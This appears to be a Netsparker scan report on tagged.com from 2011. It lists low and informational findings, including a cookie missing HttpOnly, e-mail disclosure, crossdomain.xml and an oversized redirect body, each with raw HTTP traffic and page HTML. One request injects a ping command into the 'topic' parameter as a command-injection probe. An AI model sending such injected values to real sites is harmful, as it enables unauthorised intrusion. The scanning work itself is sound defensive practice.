id="genderLabel">Gender:</label> <span id="gender_container"> <input type="radio" class="radio" name="gender" id="female" value="F" checked="checked" tabindex="9" /> <label for="female" id="femaleGenderLabel">Female</label> <input type="radio" class="radio" name="gender" id="male" value="M" tabindex="10" /> <label for="male" id="maleGenderLabel">Male</label> </span></p><p id="birthDayWrapper"> <label for="birth_date" id="birthDateLabel">Birthdate:</label> <span id="date_input" > <!--month input--> <select tabindex="11" name="birthMonth" id="birth_month" class="date"> <option value="0" id="month_option" >Month</option> <option id="birth_month1" value="1" > Jan </option> <option id="birth_month2" value="2" > Feb </option> <option id="birth_month3" value="3" > Mar </option> <option id="birth_month4" value="4" > Apr </option> <option id="birth_month5" value="5" > May </option> <option id="birth_month6" value="6" > Jun </option> <option id="birth_month7" value="7" > Jul </option> <option id="birth_month8" value="8" > Aug </option> <option id="birth_month9" value="9" > Sep </option> <option id="birth_month10" value="10" > Oct </option> <option id="birth_month11" value="11" > Nov </option> <option id="birth_month12" value="12" > Dec </option> </select> <!--day input--> <select tabindex="12" name="birthDay" id="birth_day" class="date" > <option value="0" id="day_option">Day</option> <option value="1" > 1 </option> <option value="2" > 2 </option> <option value="3" > 3 </option> <option value="4" > 4 </option> <option value="5" > 5 </option> <option value="6" > 6 </option> <option value="7" > 7 </option> <option value="8" > 8 </option> <option value="9" > 9 </option> <option value="10" > 10 </option> <option value="11" > 11 </option> <option value="12" > 12 </option> <option value="13" > 13 </option> <option value="14" > 14 </option> <option value="15" > 15 </option> <option value="16" > 16 </option> <option value="17" > 17 </option> <option value="18" > 18 </option> <option value="19" > 19 </option> <option value="20" > 20 </option> <option value="21" > 21 </option> <option value="22" > 22 </option> <option value="23" > 23 </option> <option value="24" > 24 </option> <option value="25" > 25 </option> <option value="26" > 26 </option> <option value="27" > 27 </option> <option value="28" > 28 </option> <option value="29" > 29 </option> <option value="30" > 30 </option> <option value="31" > 31 </option> </select> <!-- year input --> <select tabindex="13" name="birthYear" id="birth_year" class="date" > <option value="0" id="year_option">Year</option> <option value="2003" > 2003 </option> <option value="2002" > 2002 </option> <option value="2001" > 2001 </option> <option value="2000" > 2000 </option> <option value="1999" > 1999 </option> <option value="1998" > 1998 </option> <option value="1997" > 1997 </option> <option value="1996" > 1996 </option> <option value="1995" > 1995 </option> <option value="1994" > 1994 </option> <option value="1993" > 1993 </option> <option value="1992" > 1992 </option> <option value="1991" > 1991 </option> <option value="1990" > 1990 </option> <option value="1989" > 1989 </option> <option value="1988" > 1988 </option> <option value="1987" > 1987 </option> <option value="1986" > 1986 </option> <option value="1985" > 1985 </option> <option value="1984" > 1984 </option> <option value="1983" > 1983 </option> <option value="1982" > 1982 </option> &l..
Cookie Not Marked As HttpOnly

Cookie Not Marked As HttpOnly

1 TOTAL
LOW
CONFIRMED
1
Cookie was not marked as HTTPOnly. HTTPOnly cookies can not be read by client-side scripts therefore marking a cookie as HTTPOnly can provide an additional layer of protection against Cross-site Scripting attacks..

Impact

During a Cross-site Scripting attack an attacker might easily access cookies and hijack the victim's session.

Actions to Take

  1. See the remedy for solution
  2. Consider marking all of the cookies used by the application as HTTPOnly (After these changes javascript code will not able to read cookies.

Remedy

Mark the cookie as HTTPOnly. This will be an extra layer of defence against XSS. However this is not a silver bullet and will not protect the system against Cross-site Scripting attacks. An attacker can use a tool such as XSS Tunnel to bypass HTTPOnly protection.

External References

- /browse.html

/browse.html CONFIRMED

http://www.tagged.com/browse.html

Identified Cookie

S

Request

GET /browse.html HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.tagged.com
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Date: Sat, 23 Apr 2011 12:14:55 GMT
Server: Apache
Set-Cookie: S=l3qln6k2o107uj397l1sb56375; path=/; domain=tagged.com
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
X-FRAME-OPTIONS: DENY
Vary: Accept-Encoding,User-Agent
Content-Encoding:
Keep-Alive: timeout=300
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8


<!DOCTYPE html><html><head id="html_head"> <title>Tagged - Browse</title> <noscript><meta http-equiv="X-Frame-Options" content="deny"/></noscript> <link rel="stylesheet" type="text/css" href="http://x.tagstat.com/dyn/css/S/h2vPeHtXt.css"></link><link rel="stylesheet" type="text/css" href="http://x.tagstat.com/dyn/css/i/L59lrN35f.css"></link><script type="text/javascript" src="http://x.tagstat.com/dyn/js/M/gEOLE1_oL.js"></script></head><body> <iframe id="yui-history-iframe" src="/blank.html" style="position:absolute; top:0; left:0; width:1px; height:1px; visibility:hidden;"></iframe> <input id="yui-history-field" type="hidden"> <link rel="stylesheet" type="text/css" href="http://x.tagstat.com/dyn/css/H/SeREu7XWG.css"></link><div id="navheader" class="navheader"> <div id="navheader_top" class="navheader_top"> <div class="top_bar_roundtop"></div> <div class="top_bar_content"> <div class="left_block"> <h1 class="heading_top">Join Tagged now - it's free! </h1> <p> Tagged is a great place to socialize with friends and meet new people. </p> <p> Make your own profile, share photos, chat, flirt, play games, and have fun! </p> <div class="actions_bottom"> <form action="http://www.tagged.com/register.html" method="get"> <input type="submit" class="green_btn_big" value="Join Tagged >"/> </form> <ul class="connect_container"> <li><a href="#" service_name="facebook" container="tb" class="facebook_connect connect"> <span class="icon_left fb_left"></span> <span class="connect_gradient fb_gradient"><span class="fb_icon"></span></span> <span class="icon_left fb_left icon_border"></span> <span class="connect_gradient fb_gradient"> Connect <span>with</span> Facebook </span> <span class="icon_right fb_right"></span> <div class="clear_both"></div></a></li> <li><a href="#" service_name="myspace" container="tb" class="myspace_connect connect"> <span class="icon_left ms_left"></span> <span class="connect_gradient ms_gradient"> <span class="ms_icon "></span> Login with MySpaceID </span> <span class="icon_right ms_right"></span> <div class="clear_both"></div></a></li> <li><a href="#" service_name="twitter" container="tb" class="twitter_connect connect"> <span class="icon_left tw_left"></span> <span class="connect_gradient tw_gradient"><span class="tw_icon"></span></span> <span class="icon_left tw_left icon_border"></span> <span class="connect_gradient tw_gradient"> Sign in with Twitter </span> <span class="icon_right tw_right"></span> <div class="clear_both"></div></a></li> </ul> <div class="clear_both"></div> </div> </div> <div class="right_block"> <img alt="Tagged" src="http://x.tagstat.com/im/headers/default/tagged_logo_black_blue_bk.gif" /> <p class="align_center"><a href="http://www.tagged.com/register.html?display=login">Sign in to Tagged</a></p> </div> <div class="clear_both"></div> </div> <div class="top_bar_roundbottom"></div> </div></div> <div id="topad" class="below_header_ad defer"><script type="text/javascript">tagged.ads.register('ad_unit_0', 'http://c5.zedo.com/jsc/c5/ff2.html?n=496;c=121;s=1;d=14;w=728;h=90;p=;q=browse');</script><div id="ad_unit_0_div" class="ad_728_90"><iframe name="ad_unit_0" id="ad_unit_0" src="" frameborder="0" marginheight="0" marginwidth="0" scrolling="no" allowTransparency="true" width="728" height="90"></iframe></div></div> <div id="inner_container"> <div id="profile_banner">&nbsp;</div> <div id="page_content"> <div id="top_notification_feedback"></div> <iframe src="/upgrade_ie6.html" class="hide_me" width="100%" height="0" frameborder="0" marginheight="0" marginwidth="0" scrolling="no" id="ie6bar"></iframe> <div id="search_results" class="main_content"> <div id="sectionTitle"> <h1>Browse</h1> <div class="paginationlinks"></div> <div class="clearBoth"></div> </div> <div id="leftColumn"> <div id="main_options" class="searchFilter"> <form action="/search_results.html" method="post" name="searchFilterMainForm" onsubmit="return tagged.search.results.handleForm();"> <div class="search-fields"> <label for="gender">Gender</label> <select class="search-fields-wide" id="gender" name="gender"> <option value="B">Both</option> <option value="M">Male</option> <option value="F">Female</option> </select> <label for="ageStart">Age</label> <div id="ageSelector"> <div class="ageDiv" id="ageStart_div"></div> <div class="ageDiv" id="ageTo_div">to</div> <div class="ageDiv" id="ageEnd_div"></div> </div> <div class="clearBoth"></div> </div> <div class="search-fields" id="location_selector"> </div> <div class="clearBoth"></div> <div id="more_options_toggle"> <a id="more_options_link" class="more_options" href="#" onclick="tagged.search.results.toggleMoreOptions(); return false;">More options</a> </div> <div class="clearBoth"></div> <div class="search-button align_center"> <input id="searchbtn" name="searchbtn" class="greyBtn updateBtn" type="button" value="Update" onclick="tagged.search.results.handleForm();" /> </div> </form> </div> <!-- main_options --> <div class="clearBoth"></div> <div id="ad_160" class="ad_160_600 align_center"> <script type="text/javascript">tagged.ads.register('ad_unit_1', 'http://c5.zedo.com/jsc/c5/ff2.html?n=496;c=121;s=1;d=7;w=160;h=600;p=;q=browse');</script><div id="ad_unit_1_div" class="ad_160_600"><iframe name="ad_unit_1" id="ad_unit_1" src="" frameborder="0" marginheight="0" marginwidth="0" scrolling="no" allowTransparency="true" width="160" height="600"></iframe></div> </div> </div><div id="rightColumn"> <div id="more_options" class="searchFilter"> <form action="/search_results.html" method="post" name="searchFilterMoreForm" onsubmit="return tagged.search.results.handleForm();"> <div class="search-column"> <h3>Interested In</h3> <input type="checkbox" class="search-fields-checkbox" id="interested_in_f" name="interested_in" value="0x1" /> <label class="more-fields" for="interested_in_f">Friends</label> <br /> <input type="checkbox" class="search-fields-checkbox" id="interested_in_d" name="interested_in" value="0x2" /> <label class="more-fields" for="interested_in_d">Dating</label> <br /> <input type="checkbox" class="search-fields-checkbox" id="interested_in_s" name="interested_in" value="0x4" /> <label class="more-fields" for="interested_in_s">Serious Relationship</label> <br /> <input type="checkbox" class="search-fields-checkbox" id="interested_in_n" name="interested_in" value="0x8" /> <label class="more-fields" for="interested_in_n">Networking</label> <br /> <h3>Sexual Orientation</h3> <input type="checkbox" class="search-fields-checkbox" id="sexual_orientation_s" name="sexual_orientation" value="0x1" /> <label class="more-fields" for="sexual_orientation_s">Straight</label> <br /> <input type="checkbox" class="search-fields-checkbox" id="sexual_orientation_g" name="sexual_orientation" value="0x2" /> <label class="more-fields" for="sexual_orientation_g">Gay</label> <br /> <input type="checkbox" class="search-fields-checkbox" id="sexual_orientation_b" name="sexual_orientation" value="0x4" /> <label class="more-fields" for="sexual_orientation_b">Bi</label> <br /> <input type="checkbox" class="search-fields-checkbox" id="sexual_orientation_n" name="sexual_orientation" value="0x8" /> <label class="more-fields" for="sexual_orientation_n">No Answer</label> <br /> </div> <div class="search-column"> <h3>Relationship Status</h3> <input type="checkbox" class="search-fields-checkbox" id="rel_status_single" name="rel_status" value="0x1" /> <label class="more-fields" for="rel_status_single">Single</label> <br /> <input type="checkbox" class="search-fields-checkbox" id="rel_status_dating" name="rel_status" value="0x2" /> <label class="more-fields" for="rel_status_dating">Dating</label> <br /> <input type="checkbox" class="search-fields-checkbox" id="rel_status_iar" name="rel_status" value="0x4" /> <label class="more-fields" for="rel_status_iar">In a Relationship</label> <br /> <input type="checkbox" class="search-fields-checkbox" id="rel_status_engaged" name="rel_status" value="0x8" /> <label class="more-fields" for="rel_status_engaged">Engaged</label> <br /> <input type="checkbox" class="search-fields-checkbox" id="rel_status_married" name="rel_status" value="0x10" /> <label class="more-fields" for="rel_status_married">Married</label> <br /> <input type="checkbox" class="search-fields-checkbox" id="rel_status_ic" name="rel_status" value="0x20" /> <label class="more-fields" for="rel_status_ic">It's Complicated</label> <br /> </div> <div class="search-column"> <h3>Ethnicity</h3> <input type="checkbox" class="search-fields-checkbox" id="ethnicity_aa" name="ethnicity" value="0x1" /> <label class="more-fields" for="ethnicity_aa">African American</label> <br /> <input type="checkbox" class="search-fields-checkbox" id="ethnicity_a" name="ethnicity" value="0x2" /> <label class="more-fields" for="ethnicity_a">Asian</label> <br /> <input type="checkbox" class="search-fields-checkbox" id="ethnicity_c" name="ethnicity" value="0x4" /> <label class="more-fields" for="ethnicity_c">Caucasian (white)</label> <br /> <input type="checkbox" class="search-fields-checkbox" id="ethnicity_ei" name="ethnicity" value="0x8" /> <label class="more-fields" for="ethnicity_ei">East Indian</label> <br /> <input type="checkbox" class="search-fields-checkbox" id="ethnicity_hl" name="ethnicity" value="0x10" /> <label class="more-fields" for="ethnicity_hl">Hispanic/Latino</label> <br /> <input type="checkbox" class="search-fields-checkbox" id="ethnicity_me" name="ethnicity" value="0x20" /> <label class="more-fields" for="ethnicity_me">Middle Eastern</label> <br /> <input type="checkbox" class="search-fields-checkbox" id="ethnicity_na" name="ethnicity" value="0x40" /> <label class="more-fields" for="ethnicity_na">Native American</label> <br /> <input type="checkbox" class="search-fields-checkbox" id="ethnicity_pi" name="ethnicity" value="0x80" /> <label class="more-fields" for="ethnicity_pi">Pacific Islander</label> <br /> <input type="checkbox" class="search-fields-checkbox" id="ethnicity_o" name="ethnicity" value="0x100" /> <label class="more-fields" for="ethnicity_o">Other</label> <br /> </div> <div class="search-column" style="display:none"> <h3>Religion</h3> <input type="checkbox" class="search-fields-checkbox" id="religion_ag" name="religion" value="0x1" /> <label class="more-fields" for="religion_ag">Agnostic</label> <br /> <input type="checkbox" class="search-fields-checkbox" id="religion_at" name="religion" value="0x2" /> <label class="more-fields" for="religion_at">Atheist</label> <br /> <input type="checkbox" class="search-fields-checkbox" id="religion_b" name="religion" value="0x4" /> <label class="more-fields" for="religion_b">Buddhist</label> <br /> <input type="checkbox" class="search-fields-checkbox" id="religion_ca" name="religion" value="0x8" /> <label class="more-fields" for="religion_ca">Catholic</label> <br /> <input type="checkbox" class="search-fields-checkbox" id="religion_ch" name="religion" value="0x10" /> <label class="more-fields" for="religion_ch">Christian</label> <br /> <input type="checkbox" class="search-fields-checkbox" id="religion_h" name="religion" value="0x20" /> <label class="more-fields" for="religion_h">Hindu</label> <br /> <input type="checkbox" class="search-fields-checkbox" id="religion_j" name="religion" value="0x40" /> <label class="more-fields" for="religion_j">Jewish</label> <br /> <input type="checkbox" class="search-fields-checkbox" id="religion_m" name="religion" value="0x80" /> <label class="more-fields" for="religion_m">Muslim</label> <br /> <input type="checkbox" class="search-fields-checkbox" id="religion_s" name="religion" value="0x100" /> <label class="more-fields" for="religion_s">Spiritual</label> <br /> <input type="checkbox" class="search-fields-checkbox" id="religion_o" name="religion" value="0x200" /> <..
Forbidden Resource

Forbidden Resource

1 TOTAL
INFORMATION
CONFIRMED
1
Access to this resource has been denied by the web server. This is generally not a security issue, and is reported here for information purposes.

Impact

There is no impact resulting from this issue.
- /jscripts/ext/tiny_mce/

/jscripts/ext/tiny_mce/ CONFIRMED

http://www.tagged.com/jscripts/ext/tiny_mce/

Request

GET /jscripts/ext/tiny_mce/ HTTP/1.1
Referer: http://www.tagged.com/jscripts/ext/tiny_mce/tiny_mce_gzip.js
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.tagged.com
Cookie: S=ke98ge375rm39neuv9tqpjvdh1
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 403 Forbidden
Date: Sat, 23 Apr 2011 12:22:59 GMT
Server: Apache
Content-Length: 224
Content-Type: text/html; charset=iso-8859-1


<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>403 Forbidden</title></head><body><h1>Forbidden</h1><p>You don't have permission to access /jscripts/ext/tiny_mce/on this server.</p></body></html>
E-mail Address Disclosure

E-mail Address Disclosure

1 TOTAL
INFORMATION
Netsparker found e-mail addresses on the web site.

Impact

E-mail addresses discovered within the application can be used by both spam email engines and also brute force tools. Furthermore valid email addresses may lead to social engineering attacks .

Remedy

Use generic email addresses such as contact@ or info@ for general communications, remove user/people specific e-mail addresses from the web site, should this be required use submission forms for this purpose.

External References

- /safety.html

/safety.html

http://www.tagged.com/safety.html

Found E-mails

Request

GET /safety.html HTTP/1.1
Referer: http://www.tagged.com/browse.html
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.tagged.com
Cookie: S=n91amdfku4gtflmm0q6p9t20b7
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Sat, 23 Apr 2011 12:14:56 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
X-FRAME-OPTIONS: DENY
Vary: Accept-Encoding,User-Agent
Content-Encoding:
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8


<!DOCTYPE html><html><head id="html_head"> <title>Tagged - Safety, Security, and Privacy Overview</title> <noscript><meta http-equiv="X-Frame-Options" content="deny"/></noscript> <link rel="stylesheet" type="text/css" href="http://x.tagstat.com/dyn/css/S/h2vPeHtXt.css"></link><link rel="stylesheet" type="text/css" href="http://x.tagstat.com/dyn/css/q/_hs3s4Cek.css"></link><script type="text/javascript" src="http://x.tagstat.com/dyn/js/M/gEOLE1_oL.js"></script></head><body> <iframe id="yui-history-iframe" src="/blank.html" style="position:absolute; top:0; left:0; width:1px; height:1px; visibility:hidden;"></iframe> <input id="yui-history-field" type="hidden"> <div id="topad"><script type="text/javascript">tagged.ads.register('ad_unit_0', 'http://c5.zedo.com/jsc/c5/ff2.html?n=496;c=121;s=1;d=14;w=728;h=90;p=;q=safety');</script><div id="ad_unit_0_div" class="ad_728_90"><iframe name="ad_unit_0" id="ad_unit_0" src="" frameborder="0" marginheight="0" marginwidth="0" scrolling="no" allowTransparency="true" width="728" height="90"></iframe></div></div> <link rel="stylesheet" type="text/css" href="http://x.tagstat.com/dyn/css/H/SeREu7XWG.css"></link><div id="navheader" class="navheader"> <div id="navheader_top" class="navheader_top"> <div class="top_bar_roundtop"></div> <div class="top_bar_content"> <div class="left_block"> <h1 class="heading_top">Join Tagged now - it's free! </h1> <p> Tagged is a great place to socialize with friends and meet new people. </p> <p> Make your own profile, share photos, chat, flirt, play games, and have fun! </p> <div class="actions_bottom"> <form action="http://www.tagged.com/register.html" method="get"> <input type="submit" class="green_btn_big" value="Join Tagged >"/> </form> <ul class="connect_container"> <li><a href="#" service_name="facebook" container="tb" class="facebook_connect connect"> <span class="icon_left fb_left"></span> <span class="connect_gradient fb_gradient"><span class="fb_icon"></span></span> <span class="icon_left fb_left icon_border"></span> <span class="connect_gradient fb_gradient"> Connect <span>with</span> Facebook </span> <span class="icon_right fb_right"></span> <div class="clear_both"></div></a></li> <li><a href="#" service_name="myspace" container="tb" class="myspace_connect connect"> <span class="icon_left ms_left"></span> <span class="connect_gradient ms_gradient"> <span class="ms_icon "></span> Login with MySpaceID </span> <span class="icon_right ms_right"></span> <div class="clear_both"></div></a></li> <li><a href="#" service_name="twitter" container="tb" class="twitter_connect connect"> <span class="icon_left tw_left"></span> <span class="connect_gradient tw_gradient"><span class="tw_icon"></span></span> <span class="icon_left tw_left icon_border"></span> <span class="connect_gradient tw_gradient"> Sign in with Twitter </span> <span class="icon_right tw_right"></span> <div class="clear_both"></div></a></li> </ul> <div class="clear_both"></div> </div> </div> <div class="right_block"> <img alt="Tagged" src="http://x.tagstat.com/im/headers/default/tagged_logo_black_blue_bk.gif" /> <p class="align_center"><a href="http://www.tagged.com/register.html?display=login">Sign in to Tagged</a></p> </div> <div class="clear_both"></div> </div> <div class="top_bar_roundbottom"></div> </div></div> <div id="inner_container"> <div id="profile_banner">&nbsp;</div> <div id="page_content"> <div id="top_notification_feedback"></div> <iframe src="/upgrade_ie6.html" class="hide_me" width="100%" height="0" frameborder="0" marginheight="0" marginwidth="0" scrolling="no" id="ie6bar"></iframe> <h1>Safety, Security, and Privacy Overview</h1><br/><p>Tagged is committed to making its community safe. Since its founding in 2004, Tagged has designed features specifically to enhance the safety of its online members. Highlights of Tagged's safety, security and privacy measures include:</p><ul> <li>A dedicated 24X7 customer team who review and respond to member content and concerns.</li><br/> <li>A strict policy that forbids abuse including but not limited to posting pornography, abusive messaging, restrictions on contact between adults and members under 16, spamming and phishing.</li><br/> <li>Oversight by safety and security advisor Hemanshu Nigam, former News Corp/MySpace Chief Security Officer, who spent 20 years as a child safety advocate. Nigam is a former Department of Justice Internet crimes prosecutor who held executive-level security positions at Microsoft and the Motion Picture Association of America.</li><br/></ul><p>Tagged is vigilant in its efforts to keep older members from contacting community members under the age of 16 and has partnered with law enforcement to help ensure safety for everyone. Specific steps Tagged has taken include:</p><br/><h3>General Safety Tips:</h3><br/><ul> <li>Take caution when communicating with strangers.</li> <li>Never include your last name, e-mail address, home address, phone number, place of work, or any other identifiable information in your profile or messages. </li> <li>Stop communicating with anyone who pressures you for personal or financial information.</li> <li>If you choose to have a face-to-face meeting, always tell a friend or family member where you are going and when you will return, meet in a public place with many people around, provide your own transportation, do not agree to be picked up at your home</li></ul><br/><h3>Preventing Underage Users from Using Tagged</h3><br/><ul> <li>Tagged's Terms of Use dictate that members must be 13 yrs of age or older to participate in its community.</li> <li>Tagged prevents sign ups by users whose register under age 13.</li></ul><br/><h3>Protecting Younger Members from Inappropriate Content</h3><br/><ul> <li>Hosted images and videos are reviewed for compliance and inappropriate content is removed and blocked from the site.</li> <li>Member accounts are deleted for uploading nudity and pornographic images and videos.</li> <li>Groups are reviewed when inappropriate content is reported and shut down as required.</li> <li>Detailed IP logs are maintained for law enforcement teams who investigate abuse.</li></ul><br/><h3>Reporting Inappropriate Content </h3><br/><ul> <li>Members are encouraged to report content offenses directly to the <a href="mailto:safetysquad@tagged.com">Tagged Safety Squad</a>.</li> <li>Members can provide reasons when reporting images for Terms of Service violations.</li> <li>Members can report spam messages, posts and inappropriate profiles to Tagged.</li> <li>For more instructions on our reporting features please visit out <a href="/help.html?topic=report-abuse/">Report Abuse</a> page.</ul><br/><h3>Providing Privacy Tools for all Members</h3><br/><ul> <li>All members can set their profiles to Private.</li> <li>Members can pre-approve comments before they appear on their profiles.</li> <li>Members can block another member from contacting them.</li> <li>Members can conceal their 'online now' status.</li> <li>Members can remove their profiles from Tagged search results.</li></ul><br/><h3>Partnering with Law Enforcement</h3><br/><ul> <li>Customer Care Team: Responds to all abuse complaints within 72 hours.</li> <li>Content Assurance Team: Ensures integrity of safety systems and flags potential flaws.</li> <li>Parent Care Team: Dedicated parent hotline, email (<a href="mailto:parentcare@tagged.com">parentcare@tagged.com</a>) and guidebook.</li> <li>Law Enforcement Team: Dedicated hotline, email (<a href="mailto:lawenforcement@tagged.com">lawenforcement@tagged.com</a>) and guidebook.</li> <li>Safety Squad Team: Dedicated safety team (<a href="mailto:safetysquad@tagged.com">safetysquad@tagged.com</a>) who identifies potential problems and takes immediate action when safety issues occur.</li></ul><br/><h3>Application Security and Data Collection</h3><br/><ul> <li>All applications on Tagged are governed by the same privacy controls that are in place for members.</li> <li>All applications must use Tagged API's, which have built-in security features.</li> <li>Tagged takes action against applications that violate safety and security requirements.</li></ul><br/><h3>Ongoing Support of Government Legislation to Prevent Safety Issues</h3><br/><ul> <li>Email Registration Legislation: Tagged supports federal and state legislation that would require registered sex offenders to register all of their email addresses, so that Tagged can block them from accessing Tagged in the first place.</li></ul><br/><p>These measures represent just a sampling of the steps Tagged has taken to protect its community’s safety and enforce its rules.</p><br/><p><a href="/safety_tips.html">Online Safety Tips for Teens &gt;&gt;</a></p><p><a href="/safety_parents.html">Parent's Guide to Online Safety &gt;&gt;</a></p><p><a href="/terms_of_service.html?#privacy_policy">Privacy Policy &gt;&gt;</a></p> <div class="clear_both"></div> </div> <div id="footer"> <div id="connect_footer" class="hide_me"></div> <div id="footer_nav"> <p> <a href="http://about-tagged.com">About</a> | <a href="http://about-tagged.com/news">Blog</a> | <a href="http://www.tagged.com/terms_of_service.html?#privacy_policy">Privacy Policy</a> | <a href="http://www.tagged.com/terms_of_service.html">Terms of Service</a> | <a href="http://www.tagged.com/terms_of_service.html?#copyrt">Copyright</a> | <a href="/ideas.html?type=suggestions">Ideas</a> | <a href="http://www.tagged.com/safety.html">Online Safety</a> | <a href="http://www.tagged.com/help.html?topic=report-abuse">Report Abuse</a> | <a href="http://www.tagged.com/browse.html">Users</a> | <a href="http://www.tagged.com/find_groups.html">Groups</a> | <a href="http://www.tagged.com/help.html">Help</a> </p> <p> <span id="copyright_diagnostics" title="16 2.7 24.63">&copy; 2003 - 2011 Tagged Inc. All rights reserved.</span> <span> <label id="site_language_slector_label">&nbsp;&nbsp;Language:</label> <select name="language" id="site_language_selector" > <option value="en_US" selected="selected" >English</option> <option value="ms_MY" >Bahasa Melayu</option> <option value="es_CO" >Español - América Latina</option> <option value="es_ES" >Español - España</option> <option value="es_MX" >Español - México</option> <option value="de_DE" >Deutsch</option> <option value="fr_FR" >Français</option> <option value="it_IT" >Italiano</option> <option value="nl_NL" >Nederlands</option> <option value="pt_PT" >Português</option> <option value="ru_RU" >Русский</option> <option value="bn_IN" >বাংলা</option> <option value="zh_CN" >中文 (简体)</option> <option value="zh_TW" >中文 (繁軆)</option> <option value="hi_IN" >हिन्दी</option> <option value="ja_JP" >日本語</option> <option value="mr_IN" >मराठी</option> <option value="pa_IN" >ਪੰਜਾਬੀ</option> </select> </span> </p> </div> <div class="clear_both"></div></div> </div><script type="text/javascript" src="http://x.tagstat.com/dyn/js/q/qdsqITOM2.js"></script><link rel="stylesheet" type="text/css" href="http://x.tagstat.com/dyn/css/S/JKkMB62Sf.css"></link><script type="text/javascript" src="http://x.tagstat.com/dyn/js/J/Uhejl1lwq.js"></script><script type="text/javascript"> tagged.base_url = "http://www.tagged.com"; tagged.static_uri = "http://x.tagstat.com"; tagged.profile_path = "/profile.html"; tagged.guid = "btrCJGc5tA"; tagged.global_static_ver ='555ebe'; tagged.secure_url = "https://secure.tagged.com"; tagged.reg_url = "https://secure.tagged.com/register.html";// User status is defined in tag_net_presence (0 = active, 1 = idle, 2 = invisible, 3 = offline) tagged.currentUserStatus = null;tagged.loadData({"enable_tagged_tip":true});</script><script type="text/javascript" src="http://x.tagstat.com/dyn/js/1/wZg5MmgFd.js"></script><link rel="stylesheet" type="text/css" href="http://x.tagstat.com/dyn/css/o/shJhH1t1H.css"></link><script type="text/javascript" src="http://x.tagstat.com/dyn/js/P/gP5uxbzb8.js"></script> <!-- Begin quantserve --><script type="text/javascript" src="//edge.quantserve.com/quant.js"></script><script type="text/javascript">_qacct="p-96ZHBHvG56-qg";quantserve();</script><script type="text/javascript">if (top !== self) {top.location.href=window.location.href; } </script><noscript><img src="//pixel.quantserve.com/pixel/p-96ZHBHvG56-qg.gif" style="display:none" height="1" width="1" alt="Quantcast"/></noscript><!-- End quantserve --><!-- Begin recaptcha --><script type="text/javascript" src="http://api.recaptcha.net/js/recaptcha_ajax.js"></script><!-- End recaptcha --><!-- Begin google_analytics --><script type="text/javascript">var _gaq = _gaq || [];_gaq.push(['_setAccount', 'UA-1982760-1']);_gaq.push(['_setSampleRate','20']);_gaq.push(['_trackPageview']);(function() {var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);})();</script><!-- End google_analytics --><!-- Begin comscore --><script>document.write(unescape("%3Cscript src='" + (document.location.protocol == "https:" ? "https://sb" : "http://b")+ ".scorecardresearch.com/beacon.js' %3E%3C/script%3E"));</script><script>COMSCORE.beacon({c1:2,c2:7198000,c3:"",c4:"www.tagged.com/safety.html",c5:"",c6:"",c15:"8ad8f3a554081edaa4546cf26f8ec36d6830f790"});</script><noscript><img src="http://b.scorecardresearch.com/p?c1=2&c2=7198000&c3=&c4=www.tagged.com/safety.html&..
Crossdomain.xml Identified

Crossdomain.xml Identified

1 TOTAL
INFORMATION
Netsparker identified a Crossdomain.xml file on the target web site. This issue is reported as extra information.

Impact

This issue is reported as extra information, there is no direct impact resulting from this issue.
- /crossdomain.xml

/crossdomain.xml

http://www.tagged.com/crossdomain.xml

Policy Rules

Request

GET /crossdomain.xml HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.tagged.com
Cookie: S=n91amdfku4gtflmm0q6p9t20b7
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Sat, 23 Apr 2011 12:14:55 GMT
Server: Apache
Last-Modified: Thu, 24 Mar 2011 16:12:27 GMT
ETag: "85104d-15d-49f3cbe55f0c0"
Accept-Ranges: bytes
Vary: Accept-Encoding,User-Agent
Content-Encoding:
Content-Length: 214
Content-Type: text/xml


<?xml version="1.0"?><!DOCTYPE cross-domain-policy SYSTEM "http://www.adobe.com/xml/dtds/cross-domain-policy.dtd"><cross-domain-policy> <site-control permitted-cross-domain-policies="master-only"/> <allow-access-from domain="*.tagstat.com"/> <allow-http-request-headers-from domain="*.tagstat.com" headers="*"/></cross-domain-policy>
Redirect Response BODY Is Too Large

Redirect Response BODY Is Too Large

1 TOTAL
INFORMATION
CONFIRMED
1
Netsparker identified that the response from the page returned an HTTP Redirect Status but output more information than usual. This generally indicates that after redirect, page did not finish the response as it was supposed to.

Impact

This can lead serious issues such authentication bypass in authentication required pages, in other pages it generally indicates a programming error.

Remedy

Finish the HTTP Response after you redirect the user.

In ASP.NET use Response.Redirect("redirected-page.aspx", true); instead of Response.Redirect("redirected-page.aspx", false); In PHP applications call exit(); after you redirect the user.
- /help.html

/help.html CONFIRMED

http://www.tagged.com/help.html?topic=%22%26%20ping%20-n%2026%20127.0.0.1%20%26

Parameters

Parameter Type Value
topic GET "& ping -n 26 127.0.0.1 &

Request

GET /help.html?topic=%22%26%20ping%20-n%2026%20127.0.0.1%20%26 HTTP/1.1
Referer: http://www.tagged.com/browse.html
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.tagged.com
